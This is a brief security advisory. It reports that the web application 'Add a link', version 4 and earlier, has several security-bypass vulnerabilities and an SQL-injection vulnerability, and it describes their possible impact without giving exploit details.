Add a link is prone to multiple security vulnerabilities, including multiple security-bypass issues and an SQL-injection issue.

Exploiting the security-bypass issues may allow an attacker to bypass certain security restrictions and perform unauthorized actions. The attacker can exploit the SQL-injection issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database. This will compromise the application and may aid in further attacks.

These issues affect Add a link 4 and prior versions.
